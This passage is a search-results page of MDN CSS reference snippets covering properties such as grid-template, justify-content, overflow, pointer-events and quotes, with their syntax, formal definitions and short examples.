, 80vmax); /* multiple track-size values */ grid-auto-rows: min-content max-content auto; grid-auto-rows: 100px 150px 390px; grid-auto-rows: 10% 33.3%; grid-auto-rows: 0.5fr 3fr 1fr; grid-auto-rows: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); grid-auto-rows: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px); /* global values */ grid-auto-rows: inherit; grid-auto-rows: initial; grid-auto-rows: unset; values <length> is a non-negative length.
...if the block size of the grid container is indefinite, the percentage value is treated like auto.
... formal definition initial valueautoapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valuethe percentage as specified or the absolute lengthanimation typediscrete formal syntax <track-size>+where <track-size> = <track-breadth> | minmax( <inflexible-breadth> , <track-breadth> ) | fit-content( [ <length> | <percentage> ] )where <track-breadth> = <length...
...And 2 more matches
grid-template-columns - CSS: Cascading Style Sheets
repeat(auto-fill, 200px) 20%; grid-template-columns: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) 100px; grid-template-columns: [linename1 linename2] 100px repeat(auto-fit, [linename1] 300px) [linename3]; /* global values */ grid-template-columns: inherit; grid-template-columns: initial; grid-template-columns: unset; values none indicates that there is no explicit grid.
...rather than being specified explicitly, the sizes of the grid rows/columns will be taken from the parent grid’s definition.
... formal definition initial valuenoneapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typesimple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list formal syntax none | <track-list> | <auto-track-list> | subgrid <line-name-list>?where <track-list> = [ <line-names>?
...And 2 more matches
grid-template-rows - CSS: Cascading Style Sheets
ontent) repeat(auto-fill, 200px) 20%; grid-template-rows: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) 100px; grid-template-rows: [linename1 linename2] 100px repeat(auto-fit, [linename1] 300px) [linename3]; /* global values */ grid-template-rows: inherit; grid-template-rows: initial; grid-template-rows: unset; this property may be specified as: either the keyword value none or a <track-list> value or an <auto-track-list> value.
...rather than being specified explicitly, the sizes of the grid rows/columns will be taken from the parent grid’s definition.
... formal definition initial valuenoneapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typesimple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list formal syntax none | <track-list> | <auto-track-list> | subgrid <line-name-list>?where <track-list> = [ <line-names>?
...And 2 more matches
grid-template - CSS: Cascading Style Sheets
40%); /* grid-template-areas grid-template-rows / grid-template-column values */ grid-template: "a a a" "b b b"; grid-template: "a a a" 20% "b b b" auto; grid-template: [header-top] "a a a" [header-bottom] [main-top] "b b b" 1fr [main-bottom] / auto 1fr auto; /* global values */ grid-template: inherit; grid-template: initial; grid-template: unset; values none is a keyword that sets all three longhand properties to none, meaning there is no explicit grid.
... note: the grid shorthand accepts the same syntax, but also resets the implicit grid properties to their initial values.
... formal definition initial valueas each of the properties of the shorthand:grid-template-columns: nonegrid-template-rows: nonegrid-template-areas: noneapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-columns: refer to corresponding dimension of the content areagrid-template-rows: refer to corresponding dimension of the content areacomputed valueas each of the properties of the shorthand:grid-template-columns: as specified, but with relative lengths converted into absolute lengthsgrid-template-rows: as specified, but with relative lengths converted into absolute lengthsgrid-template-areas: as specifiedanimation typediscrete formal syntax none | ...
...And 2 more matches
image-orientation - CSS: Cascading Style Sheets
/* keyword values */ image-orientation: none; image-orientation: from-image; /* use exif data from the image */ /* global values */ image-orientation: inherit; image-orientation: initial; image-orientation: unset; /* obsolete values.
... obsolete since gecko 63 */ image-orientation: 90deg; /* rotate 90deg */ image-orientation: 90deg flip; /* rotate 90deg, and flip it horizontally */ image-orientation: flip; /* no rotation, only applies a horizontal flip */ syntax values none default initial value.
... formal definition initial value0degapplies toall elementsinheritedyescomputed valuean <angle>, rounded to the next quarter turn from 0deg and normalized, that is moduloing the value by 1turnanimation typediscrete formal syntax from-image | <angle> | [ <angle>?
...And 2 more matches
inherit - CSS: Cascading Style Sheets
WebCSSinherit
for non-inherited properties, this specifies a behavior that typically makes relatively little sense and you may consider using initial instead, or unset on the all property.
... specifications specification status comment css cascading and inheritance level 4the definition of 'inherit' in that specification.
... css values and units module level 3the definition of 'inherit' in that specification.
...And 2 more matches
justify-content - CSS: Cascading Style Sheets
items have equal space around them */ justify-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* overflow alignment */ justify-content: safe center; justify-content: unsafe center; /* global values */ justify-content: inherit; justify-content: initial; justify-content: unset; values start the items are packed flush to each other toward the start edge of the alignment container in the main axis.
... formal definition initial valuenormalapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | <content-distribution> | <overflow-position>?
...ption value="stretch">stretch</option> </select> javascript var justifycontent = document.getelementbyid("justifycontent"); justifycontent.addeventlistener("change", function (evt) { document.getelementbyid("container").style.justifycontent = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'justify-content' in that specification.
...And 2 more matches
justify-items - CSS: Cascading Style Sheets
/* baseline alignment */ justify-items: baseline; justify-items: first baseline; justify-items: last baseline; /* overflow alignment (for positional alignment only) */ justify-items: safe center; justify-items: unsafe center; /* legacy alignment */ justify-items: legacy right; justify-items: legacy left; justify-items: legacy center; /* global values */ justify-items: inherit; justify-items: initial; justify-items: unset; this property can take one of four different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... formal definition initial valuelegacyapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | stretch | <baseline-position> | <overflow-position>?
...initially the grid container is given a justify-items value of stretch (the default), which causes the grid items to stretch across the entire width of their cells.
...And 2 more matches
justify-self - CSS: Cascading Style Sheets
-end; justify-self: left; /* pack item from the left */ justify-self: right; /* pack item from the right */ /* baseline alignment */ justify-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... formal definition initial valueautoapplies toblock-level boxes, absolutely-positioned boxes, and grid itemsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | normal | stretch | <baseline-position> | <overflow-position>?
...initially the grid container is given a justify-items value of stretch — the default — which causes the grid items to stretch across the entire width of their cells.
...And 2 more matches
left - CSS: Cascading Style Sheets
WebCSSleft
syntax /* <length> values */ left: 3px; left: 2.4em; /* <percentage>s of the width of the containing block */ left: 10%; /* keyword value */ left: auto; /* global values */ left: inherit; left: initial; left: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the left edge of the containing block.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples positioning elements html <div id="wra...
... left: 20px; background-color: #ffd7c2; } #example_4 { width:200px; height:200px; position:absolute; bottom:10px; right:20px; background-color:#ffc7e4; } #example_5 { position: absolute; right: 0; left: 0; top: 100px; background-color: #d7ffc2; } result specifications specification status comment css positioned layout module level 3the definition of 'left' in that specification.
...And 2 more matches
line-height - CSS: Cascading Style Sheets
syntax /* keyword value */ line-height: normal; /* unitless values: use this number multiplied by the element's font size */ line-height: 3.5; /* <length> values */ line-height: 3em; /* <percentage> values */ line-height: 34%; /* global values */ line-height: inherit; line-height: initial; line-height: unset; the line-height property is specified as any one of the following: a <number> a <length> a <percentage> the keyword normal.
... w3c understanding wcag 2.1 formal definition initial valuenormalapplies toall elements.
... 1.1) = 16.5px, probably not what you want --> css .green { line-height: 1.1; border: solid limegreen; } .red { line-height: 1.1em; border: solid red; } h1 { font-size: 30px; } .box { width: 18em; display: inline-block; vertical-align: top; font-size: 15px; } result specifications specification status comment css level 2 (revision 1)the definition of 'line-height' in that specification.
...And 2 more matches
list-style-position - CSS: Cascading Style Sheets
syntax /* keyword values */ list-style-position: inside; list-style-position: outside; /* global values */ list-style-position: inherit; list-style-position: initial; list-style-position: unset; the list-style-position property is specified as one of the keyword values listed below.
... formal definition initial valueoutsideapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax inside | outside examples setting list item position html <ul class="inside">list 1 <li>list item 1-1</li> <li>list item 1-2</li> <li>list item 1-3</li> <li>list item 1-4</li> </ul> <ul class="outside">list 2 <li>list item 2-1</li> <li>list item 2-2</li> <li>list item 2-3</li> <li>list item 2-4</li> </ul> <ul class="inside-img">list 3 <li>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-styl...
...e-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
...And 2 more matches
list-style - CSS: Cascading Style Sheets
e list-style-position list-style-type syntax /* type */ list-style: square; /* image */ list-style: url('../img/shape.png'); /* position */ list-style: inside; /* type | position */ list-style: georgian inside; /* type | image | position */ list-style: lower-roman url('../img/shape.png') outside; /* keyword value */ list-style: none; /* global values */ list-style: inherit; list-style: initial; list-style: unset; the list-style property is specified as one, two, or three keywords in any order.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-typ...
...ition html list 1 <ul class="one"> <li>list item1</li> <li>list item2</li> <li>list item3</li> </ul> list 2 <ul class="two"> <li>list item a</li> <li>list item b</li> <li>list item c</li> </ul> css .one { list-style: circle; } .two { list-style: square inside; } result specifications specification status comment css lists module level 3the definition of 'list-style' in that specification.
...And 2 more matches
margin-inline - CSS: Cascading Style Sheets
/* <length> values */ margin-inline: 10px 20px; /* an absolute length */ margin-inline: 1em 2em; /* relative to the text size */ margin-inline: 5% 2%; /* relative to the nearest block container's width */ margin-inline: 10px; /* sets both start and end values */ /* keyword values */ margin-inline: auto; /* global values */ margin-inline: inherit; margin-inline: initial; margin-inline: unset; this property corresponds to the margin-top and margin-bottom, or margin-right, and margin-left properties, depending on the values defined for writing-mode, direction, and text-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px; background-c...
...olor: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
...And 2 more matches
mask-position - CSS: Cascading Style Sheets
the mask-position css property sets the initial position, relative to the mask position layer set by mask-origin, for each defined mask image.
... /* keyword values */ mask-position: top; mask-position: bottom; mask-position: left; mask-position: right; mask-position: center; /* <position> values */ mask-position: 25% 75%; mask-position: 0px 0px; mask-position: 10% 8em; /* multiple values */ mask-position: top right; mask-position: 1rem 1rem, center; /* global values */ mask-position: inherit; mask-position: initial; mask-position: unset; syntax one or more <position> values, separated by commas.
... formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = ...
...And 2 more matches
offset-anchor - CSS: Cascading Style Sheets
ttom; offset-anchor: left; offset-anchor: right; offset-anchor: center; offset-anchor: auto; /* <percentage> values */ offset-anchor: 25% 75%; /* <length> values */ offset-anchor: 0 0; offset-anchor: 1cm 2cm; offset-anchor: 10ch 8em; /* edge offsets values */ offset-anchor: bottom 10px right 20px; offset-anchor: right 3em bottom 10px; /* global values */ offset-anchor: inherit; offset-anchor: initial; offset-anchor: unset; values auto offset-anchor is given the same value as the element's transform-origin, unless offset-path is none, in which case it takes its value from offset-position.
... formal definition initial valueautoapplies totransformable elementsinheritednopercentagesrelativetowidthandheightcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea position formal syntax auto | <position>where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
... html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section { background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; background: cyan; } .offset-anchor2 { offset-anchor: right top; background: purple; } .offset-anchor3 { offset-an...
...And 2 more matches
offset-path - CSS: Cascading Style Sheets
l */ offset-path: url(#path); /* shapes */ offset-path: circle(50% at 25% 25%); offset-path: inset(50% 50% 50% 50%); offset-path: polygon(30% 0%, 70% 0%, 100% 50%, 30% 100%, 0% 70%, 0% 30%); offset-path: path('m 0,200 q 200,200 260,80 q 290,20 400,0 q 300,100 400,200'); /* geometry boxes */ offset-path: margin-box; offset-path: stroke-box; /* global values */ offset-path: inherit; offset-path: initial; offset-path: unset; values ray() taking up to three values, defines a path that is a line segment starting from the position of the box and proceeds in the direction defined by the specified angle similar to the css gradient angle where 0deg is up, with positive angles increasing in the clockwise direction, with the size value being similar to the css radial gradient size values from cl...
...each shape or path must define an initial position for the computed value of 0 for offset-distance and an initial direction which specifies the rotation of the object to the initial position.
... formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()>creates stacking contextyes formal syntax none | ray( [ <angle> && <size>?
...And 2 more matches
offset-position - CSS: Cascading Style Sheets
the offset-position css property defines the initial position of the offset-path.
...center; /* <percentage> values */ offset-position: 25% 75%; /* <length> values */ offset-position: 0 0; offset-position: 1cm 2cm; offset-position: 10ch 8em; /* edge offsets values */ offset-position: bottom 10px right 20px; offset-position: right 3em bottom 10px; offset-position: bottom 10px right; offset-position: top right 10px; /* global values */ offset-position: inherit; offset-position: initial; offset-position: unset; values auto the initial position is the position of the box specified by the position property.
... formal definition initial valueautoapplies totransformable elementsinheritednopercentagesrefertosizeofcontainingblockcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea position formal syntax auto | <position>where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage...
...And 2 more matches
orphans - CSS: Cascading Style Sheets
WebCSSorphans
/* <integer> values */ orphans: 2; orphans: 3; /* global values */ orphans: inherit; orphans: initial; orphans: unset; in typography, an orphan is the first line of a paragraph that appears alone at the bottom of a page.
... formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples setting a minimum orphan size of three lines html <div> <p>this is the first paragraph containing some text.</p> <p>this is the second paragraph containing some more text than the first one.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
...And 2 more matches
outline-color - CSS: Cascading Style Sheets
syntax /* <color> values */ outline-color: #f92525; outline-color: rgb(30,222,121); outline-color: blue; /* keyword value */ outline-color: invert; /* global values */ outline-color: inherit; outline-color: initial; outline-color: unset; the outline-color property is specified as any one of the values listed below.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valueinvert, for browsers supporting it, currentcolor for the otherapplies toall elementsinheritednocomputed valuefor the keyword invert, the computed value is invert.
...age><hue> = <number> | <angle> examples setting a solid blue outline html <p>my outline is blue, as you can see.</p> css p { outline: 2px solid; /* set the outline width and style */ outline-color: #0000ff; /* make the outline blue */ margin: 5px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-color' in that specification.
...And 2 more matches
outline-style - CSS: Cascading Style Sheets
syntax /* keyword values */ outline-style: auto; outline-style: none; outline-style: dotted; outline-style: dashed; outline-style: solid; outline-style: double; outline-style: groove; outline-style: ridge; outline-style: inset; outline-style: outset; /* global values */ outline-style: inherit; outline-style: initial; outline-style: unset; the outline-style property is specified as any one of the values listed below.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <'border-style'> examples setting outline style to auto the auto value indicates a custom outline style — typically a style [that] is either a user interface default for the platform, or perhaps a style that is richer than can be described in detail in css, e.g.
...e style to inset and outset html <div> <div class="inset"> <p class="outset">outline demo</p> </div> </div> css .inset { outline-style: inset; } .outset { outline-style: outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-style' in that specification.
...And 2 more matches
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below.
... formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas each of the properties of the shorthand:overflow-x: as specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipoverflow-y: as specified, except with visible/clip computing to auto/hidden respectively if ...
... specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification.
...And 2 more matches
page-break-inside - CSS: Cascading Style Sheets
/* keyword values */ page-break-inside: auto; page-break-inside: avoid; /* global values */ page-break-inside: inherit; page-break-inside: initial; page-break-inside: unset; syntax values auto initial value.
...a subset of values should be aliased as follows: page-break-inside break-inside auto auto avoid avoid formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element.
...cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p { background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block; background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module level 3the definition of 'page-break-inside' in that specification.
...And 2 more matches
<percentage> - CSS: Cascading Style Sheets
argin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the above html will output: specifications specification status comment css values and units module level 4the definition of '<percentage>' in that specification.
... css values and units module level 3the definition of '<percentage>' in that specification.
... css level 2 (revision 1)the definition of '<percentage>' in that specification.
...And 2 more matches
place-self - CSS: Cascading Style Sheets
rt auto; place-self: end normal; place-self: self-start auto; place-self: self-end normal; place-self: flex-start auto; place-self: flex-end normal; place-self: left auto; place-self: right normal; /* baseline alignment */ place-self: baseline normal; place-self: first baseline auto; place-self: last baseline normal; place-self: stretch auto; /* global values */ place-self: inherit; place-self: initial; place-self: unset; values auto computes to the parent's align-items value.
... formal definition initial valueas each of the properties of the shorthand:align-self: autojustify-self: autoapplies toblock-level boxes, absolutely-positioned boxes, and grid itemsinheritednocomputed valueas each of the properties of the shorthand:align-self: auto computes to itself on absolutely-positioned elements, and to the computed value of align-items on the parent (minus any legacy keywords) on all othe...
...initially the grid container has justify-items and align-items values of stretch — the defaults — which causes the grid items to stretch across the entire width of their cells.
...And 2 more matches
pointer-events - CSS: Cascading Style Sheets
only */ pointer-events: visiblefill; /* svg only */ pointer-events: visiblestroke; /* svg only */ pointer-events: visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; /* svg only */ /* global values */ pointer-events: inherit; pointer-events: initial; pointer-events: unset; the pointer-events property is specified as a single keyword chosen from the list of values below.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | inherit examples disabling pointer events on all images this example disables pointer events (clicking, dragging, hovering, etc.) on all images.
... html <ul> <li><a href="https://developer.mozilla.org">mdn</a></li> <li><a href="http://example.com">example.com</a></li> </ul> css a[href="http://example.com"] { pointer-events: none; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
...And 2 more matches
<position> - CSS: Cascading Style Sheets
examples valid positions center left center top right 8.5% bottom 12vmin right -6px 10% 20% 8rem 14px invalid positions left right bottom top 10px 15px 20px 15px specifications specification status comment css values and units module level 3the definition of '<position>' in that specification.
... candidate recommendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used.
... css backgrounds and borders module level 3the definition of '<bg-position>' in that specification.
...And 2 more matches
quotes - CSS: Cascading Style Sheets
WebCSSquotes
syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the french quotation marks */ quotes: "«" "»" "‹" "›"; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the content property produce no quotation marks.
... formal definition initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | auto | [ <string> <string> ]+ examples basic quote marks html <q>to be or not to be.
...est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
...And 2 more matches
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
auto-fill if the grid container has a definite or maximal size in the relevant axis, then the number of repetitions is the largest possible positive integer that does not cause the grid to overflow its grid container.
... treating each track as its maximal track sizing function (each independant value used to define grid-template-rows or grid-template-columns), if that is definite.
...otherwise, if the grid container has a definite minimal size in the relevant axis, the number of repetitions is the smallest possible positive integer that fulfills that minimum requirement.
...And 2 more matches
resize - CSS: Cascading Style Sheets
WebCSSresize
syntax /* keyword values */ resize: none; resize: both; resize: horizontal; resize: vertical; resize: block; resize: inline; /* global values */ resize: inherit; resize: initial; resize: unset; the resize property is specified as a single keyword value from the list below.
... resize does not apply to the following: inline elements block elements for which the overflow property is set to visible formal definition initial valuenoneapplies toelements with overflow other than visible, and optionally replaced elements representing images or videos, and iframesinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | both | horizontal | vertical | block | inline examples disabling resizability of textareas in many browsers, <textarea> elements are resizable by default.
... </p> </div> css .resizable { resize: both; overflow: scroll; border: 1px solid black; } div { height: 300px; width: 300px; } p { height: 200px; width: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'resize' in that specification.
...And 2 more matches
revert - CSS: Cascading Style Sheets
WebCSSrevert
the revert keyword is different from and should not be confused with initial, which uses the initial value defined on a per-property basis by the css specifications.
... for example, the initial value for the display property is inline, whereas a normal user-agent stylesheet sets the default display value of <div>s to block, of <table>s to table, etc.
...unset will keep the text normal because this is an initial value for font-weight property.
...And 2 more matches
right - CSS: Cascading Style Sheets
WebCSSright
syntax /* <length> values */ right: 3px; right: 2.4em; /* <percentage>s of the width of the containing block */ right: 10%; /* keyword value */ right: auto; /* global values */ right: inherit; right: initial; right: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the right edge of the containing block.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using ...
...00px; height: 200px; background-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth { background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specification.
...And 2 more matches
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
WebCSSrow-gap
css grid layout initially defined the grid-row-gap property.
... syntax /* <length> values */ row-gap: 20px; row-gap: 1em; row-gap: 3vmin; row-gap: 0.5cm; /* <percentage> value */ row-gap: 10%; /* global values */ row-gap: inherit; row-gap: initial; row-gap: unset; values <length-percentage> is the width of the gutter separating the rows.
... formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: l...
...And 2 more matches
scroll-snap-stop - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-stop: normal; scroll-snap-stop: always; /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values normal when the visual viewport of this element's scroll container is scrolled, it may "pass over" possible snap positions.
... formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | always examples snapping in different axes this example is duplicated from scroll-snap-type with minor variances.
...eight: 100%; display: flex; align-items: center; justify-content: space-between; flex-flow: column nowrap; font-family: monospace; } .container { display: flex; overflow: auto; outline: 1px dashed lightgray; flex: none; } .container.x { width: 100%; height: 128px; flex-flow: row nowrap; } .container.y { width: 256px; height: 256px; flex-flow: column nowrap; } /* definite scroll snap */ .mandatory-scroll-snapping > div { scroll-snap-stop: always; } .proximity-scroll-snapping > div { scroll-snap-stop: normal; } /* scroll-snap */ .x.mandatory-scroll-snapping { scroll-snap-type: x mandatory; } .y.mandatory-scroll-snapping { scroll-snap-type: y mandatory; } .x.proximity-scroll-snapping { scroll-snap-type: x proximity; } .y.proximity-scroll-snapping { s...
...And 2 more matches
shape-outside - CSS: Cascading Style Sheets
side: inset(10px 10px 10px 10px); shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); shape-outside: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values from the list below, which define the float area for float elements.
... formal definition initial valuenoneapplies tofloatsinheritednocomputed valueas defined for <basic-shape> (with <shape-box> following, if supplied), the <image> with its uri made absolute, otherwise as specified.animation typeyes, as specified for <basic-shape>, otherwise no formal syntax none | <shape-box> | <basic-shape> | <image>where <shape-box> = <box> | margin-box<basic-shape> = <inset()> | <circle()> |...
...0%); } .right { -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); shape-outside: polygon(100% 0, 100% 100%, 0 100%); float: right; -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%); clip-path: polygon(100% 0, 100% 100%, 0 100%); } p { text-align: center; } result specifications specification status comment css shapes module level 1the definition of 'shape-outside' in that specification.
...And 2 more matches
Specified value - CSS: Cascading Style Sheets
if none of the above pertain, the element's initial value will be used.
... examples html <p>my specified color is given explicitly in the css.</p> <div>the specified values of all my properties default to their initial values, because none of them are given in the css.</div> <div class="fun"> <p>the specified value of my font family is not given explicitly in the css, so it is inherited from my parent.
... however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (revision 2)the definition of 'cascaded value' in that specification.
...And 2 more matches
<string> - CSS: Cascading Style Sheets
WebCSSstring
ingle quote.' "this is a string with \\ an escaped backslash." /* new line in a string */ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status comment css values and units module level 3the definition of '<string>' in that specification.
... css level 2 (revision 1)the definition of '<string>' in that specification.
... recommendation explicit definition; allows 6-digit unicode escaped characters.
...And 2 more matches
text-combine-upright - CSS: Cascading Style Sheets
/* keyword values */ text-combine-upright: none; text-combine-upright: all; /* digits values */ text-combine-upright: digits; /* fits 2 consecutive digits horizontally inside vertical text */ text-combine-upright: digits 4; /* fits up to 4 consecutive digits horizontally inside vertical text */ /* global values */ text-combine-upright: inherit; text-combine-upright: initial; text-combine-upright: unset; syntax values none there is no special processing.
... formal definition initial valuenoneapplies tonon-replaced inline elementsinheritedyescomputed valuespecified keyword, plus integer if 'digits'animation typediscrete formal syntax none | all | [ digits <integer>?
... html <p lang="zh-hant">民國<span class="num">105</span >年<span class="num">4</span >月<span class="num">29</span>日</p> css html { writing-mode: vertical-rl; font: 24px serif } .num { text-combine-upright: all } results screenshotlive sample specifications specification status comment css writing modes level 4the definition of 'text-combine-upright' in that specification.
...And 2 more matches
text-decoration - CSS: Cascading Style Sheets
